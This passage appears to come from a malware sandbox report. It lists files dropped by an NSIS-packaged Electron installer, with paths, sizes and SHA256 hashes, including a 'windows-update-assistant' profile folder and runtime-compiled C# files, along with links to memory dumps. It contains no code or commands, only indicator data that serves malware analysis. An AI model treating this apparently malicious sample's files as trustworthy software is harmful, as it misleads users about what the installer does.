                                      • SHA256 6632bd12f04a5385012b5cdebe8c0dad4a06750dc91c974264d8fe60e8b6951d
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      pt-PT.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\pt-PT.pak
                                      • Size 390KB
                                      • SHA256 ee1e014550b85e3d18fb5128984a713d9f6de2258001b50ddd18391e7307b4a1
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ro.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ro.pak
                                      • Size 403KB
                                      • SHA256 2b7906f33bfbe8e9968bcd65366e2e996cdf2f3e1a1fc56ad54baf261c66954c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ru.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ru.pak
                                      • Size 657KB
                                      • SHA256 9fcda0d1fab7fff7e2f27980de8d94ff31e14287f58bd5d35929de5dd9cbcdca
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sk.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\sk.pak
                                      • Size 416KB
                                      • SHA256 b0d38869275d9d295e42b0b90d0177e0ca56a393874e4bb454439b8ce25d686f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sl.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\sl.pak
                                      • Size 401KB
                                      • SHA256 340e0babe5fddbfda601c747127251cf111dd7d79d0d6a5ec4e8443b835027de
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\sr.pak
                                      • Size 616KB
                                      • SHA256 ab96a18177af90495e2e3c96292638a775aa75c1d210ca6a6c18fbc284cd815b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sv.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\sv.pak
                                      • Size 361KB
                                      • SHA256 d15b46bc9b5e31449b11251df19cd2ba4920c759bd6d4fa8ca93fd3361fdd968
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      sw.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\sw.pak
                                      • Size 379KB
                                      • SHA256 41dfb772ae4c6f9e879bf7b4fa776b2877a2f8740fa747031b3d6f57f34d81dd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ta.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ta.pak
                                      • Size 964KB
                                      • SHA256 052bcdb64a80e504bb6552b97881526795b64e0ab7ee5fc031f3edf87160dee9
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      te.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\te.pak
                                      • Size 894KB
                                      • SHA256 d39716633228a5872630522306f89af8585f8092779892087c3f1230d21a489e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      th.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\th.pak
                                      • Size 753KB
                                      • SHA256 e32e37ca0ab30f1816fe6df37e3168e1022f1d3737c94f5472ab6600d97a45f6
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      tr.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\tr.pak
                                      • Size 385KB
                                      • SHA256 14a131ba318274cf10de533a19776db288f08a294cf7e564b7769fd41c7f2582
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      uk.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\uk.pak
                                      • Size 657KB
                                      • SHA256 bd02966f6c6258b66eae7ff014710925e53fe26e8254d7db4e9147266025cc3a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      ur.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\ur.pak
                                      • Size 571KB
                                      • SHA256 3941364d0278e2c4d686faa4a135d16a457b4bc98c5a08e62aa12f3adc09aa7f
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vi.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\vi.pak
                                      • Size 455KB
                                      • SHA256 ddabb225b671b989789e9c2ccd1b5a8f22141a7d9364d4e6ee9b8648305e7897
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      zh-CN.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\zh-CN.pak
                                      • Size 332KB
                                      • SHA256 6655fd9dcdfaf2abf814ffb6c524d67495aed4d923a69924c65abeab30bc74fb
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      zh-TW.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\locales\zh-TW.pak
                                      • Size 330KB
                                      • SHA256 adf8df051b55507e5a79fa47ae88c7f38707d02dfac0cc4a3a7e8e17b58c6479
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      resources.pak
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\resources.pak
                                      • Size 5.2MB
                                      • SHA256 9cfd5d29cde3de2f042e5e1da629743a7c95c1211e1b0b001e4eebc0f0741e06
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      elevate.exe
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\resources\elevate.exe
                                      • Size 105KB
                                      • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      snapshot_blob.bin
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\snapshot_blob.bin
                                      • Size 158KB
                                      • SHA256 4de0f720c416776423add7ada621da95d0d188d574f08e36e822ad10d85c3ece
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      v8_context_snapshot.bin
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\v8_context_snapshot.bin
                                      • Size 465KB
                                      • SHA256 43b58ca4057cf75063d3b4a8e67aa9780d9a81d3a21f13c64b498be8b3ba6e0c
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vk_swiftshader.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\vk_swiftshader.dll
                                      • Size 5.0MB
                                      • SHA256 6150a413ebe00f92f38737bdccf493d19921ef6329fcd48e53de9dbde4780810
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      vk_swiftshader_icd.json
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\vk_swiftshader_icd.json
                                      • Size 106B
                                      • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      vulkan-1.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\7z-out\vulkan-1.dll
                                      • Size 899KB
                                      • SHA256 f681844896c084d2140ac210a974d8db099138fe75edb4df80e233d4b287196a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      StdUtils.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\StdUtils.dll
                                      • Size 100KB
                                      • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      System.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\System.dll
                                      • Size 12KB
                                      • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      nsis7z.dll
                                      • Path C:\Users\Admin\AppData\Local\Temp\nsb47F2.tmp\nsis7z.dll
                                      • Size 424KB
                                      • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      default.dic
                                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                                      • Size 2B
                                      • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                      • MD5 SHA1 SHA512
                                      Submit Download

                                      Local State
                                      • Path C:\Users\Admin\AppData\Roaming\windows-update-assistant\Local State
                                      • Size 389B
                                      • SHA256 7d6f4f9407ea3216bdd234e38aa2b5f537b67481f4ef214082b436364eee07f5
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Network Persistent State
                                      • Path C:\Users\Admin\AppData\Roaming\windows-update-assistant\Network\Network Persistent State
                                      • Size 300B
                                      • SHA256 2b0a2d2b052bb1004f80b04fc35945707f932fdf305e7ec41c915213e3642b0e
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      Network Persistent State~RFe59b8d6.TMP
                                      • Path C:\Users\Admin\AppData\Roaming\windows-update-assistant\Network\Network Persistent State~RFe59b8d6.TMP
                                      • Size 59B
                                      • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSC343601698D544725B77368A316FC405C.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC343601698D544725B77368A316FC405C.TMP
                                      • Size 1KB
                                      • SHA256 dd14f173828b619d98574e7c99368d22be52c6277999906bed81d834aa4b9724
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSC6839EB7ED4C44FC3A0DAD56BF734E93E.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC6839EB7ED4C44FC3A0DAD56BF734E93E.TMP
                                      • Size 1KB
                                      • SHA256 adb865d99926590d9f4f8eed113c11d1a0d01399e0b7f02a41e22f43cf197591
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSC956A48F1DE4D41928CF919FC506CAC7.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC956A48F1DE4D41928CF919FC506CAC7.TMP
                                      • Size 1KB
                                      • SHA256 4ee62e589ae629e29c26ced96f40b5b441e1a36e9084285c89e43914aedecc42
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSCD47058AED90E4CD0A34A2CCC94984B4.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCD47058AED90E4CD0A34A2CCC94984B4.TMP
                                      • Size 1KB
                                      • SHA256 c2558f998db234ad3a2dca09eae792fdf88c14d4f935271a12a9e91054ef3bc9
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSCE85038244FEE4C39AC522CC7C8DFB2A.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\CSCE85038244FEE4C39AC522CC7C8DFB2A.TMP
                                      • Size 1KB
                                      • SHA256 0339efc1325180dfcc1981f150345a47c0b85581d13ea272019f6cc4cab8ccda
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      a_35a9989e.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\a_35a9989e.cs
                                      • Size 1KB
                                      • SHA256 766f55f5f78835f2ca4642a0ab488f44d1e262c44f39a74890ed0b50e7c08e5a
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      d_3de36092.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\d_3de36092.cs
                                      • Size 3KB
                                      • SHA256 2a4c4fcbe66d5c3aeb1693588fbfba54452bc03b3e6f2534844a11490a605a5e
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      CSC6AD4DF6B9C434C3AA13A8BDC14BF24C2.TMP
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dd2cooos\CSC6AD4DF6B9C434C3AA13A8BDC14BF24C2.TMP
                                      • Size 652B
                                      • SHA256 29ccb5b29c7a3cca4e9f8fad5ead38aeacb7633c7c3ad67a19c850b45fddb92c
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      dd2cooos.0.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dd2cooos\dd2cooos.0.cs
                                      • Size 209B
                                      • SHA256 8e989516e25af008eb9ce2645276000b480890e55fa001a50f3eebbddfa23464
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      dd2cooos.cmdline
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\dd2cooos\dd2cooos.cmdline
                                      • Size 369B
                                      • SHA256 25627e15fdc0cc319d96d66dbfc753b0bb5a0aa0793f9a28f289f9962e9a0ddc
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      e_73486086.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\e_73486086.cs
                                      • Size 621B
                                      • SHA256 4ed760498fc7309777ba7902115992c97e40db653772356452d9421aa3df729e
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      h_e50698c3.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\h_e50698c3.cs
                                      • Size 1KB
                                      • SHA256 399b918baef2139d6336d48ea1f01d0c1a420a4a90404d925cc4b515e5b011cd
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      h_wa6QyRy8.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\h_wa6QyRy8.cs
                                      • Size 86KB
                                      • SHA256 efcce77fac95095062710d7a8bf01dc1bc991cd1b834047209ff4c388e766cd2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH
                                      Submit Download

                                      i_8357e5e2.cs
                                      • Path \??\c:\Users\Admin\AppData\Local\Temp\i_8357e5e2.cs
                                      • Size 2KB
                                      • SHA256 f2416e38a238be537c73ee626e7210e65535941f9e48439a36e5a97421621571
                                      • MD5 SHA1 SHA512 TLSH
                                      Submit Download

                                      memory/904-662-0x0000000000FD0000-0x0000000001000000-memory.dmp
                                      Download

                                      memory/968-599-0x0000000000D20000-0x0000000000D28000-memory.dmp
                                      Download

                                      memory/1836-763-0x0000000000720000-0x0000000000726000-memory.dmp
                                      Download

                                      memory/2524-645-0x0000000000C30000-0x0000000000C38000-memory.dmp
                                      Download

                                      memory/2708-652-0x00000219FC710000-0x00000219FC718000-memory.dmp
                                      Download

                                      memory/2708-663-0x00000219FD7E0000-0x00000219FD818000-memory.dmp
                                      Download

                                      memory/2708-664-0x00000219FD390000-0x00000219FD39E000-memory.dmp
                                      Download

                                      memory/2708-611-0x00000219FCBB0000-0x00000219FCBD2000-memory.dmp
                                      Download

                                      memory/2988-563-0x0000000000A00000-0x0000000000A08000-memory.dmp
                                      Download

                                      memory/3432-792-0x00000000001D0000-0x000000000065A000-memory.dmp
                                      Download

                                      memory/4104-550-0x0000000000430000-0x0000000000438000-memory.dmp
                                      Download

                                      memory/4472-793-0x000001AC8A520000-0x000001AC8A524000-memory.dmp
                                      Download

                                      memory/4540-671-0x0000000000870000-0x0000000000878000-memory.dmp
                                      Download

                                      memory/4788-681-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-694-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-693-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-695-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-756-0x00007FFD547F0000-0x00007FFD54816000-memory.dmp
                                      Download

                                      memory/4788-696-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-697-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-784-0x00007FFD547F0000-0x00007FFD54816000-memory.dmp
                                      Download

                                      memory/4788-698-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-699-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-682-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4788-680-0x00000200805D0000-0x00000200805D1000-memory.dmp
                                      Download

                                      memory/4864-626-0x0000000000080000-0x0000000000088000-memory.dmp
                                      Download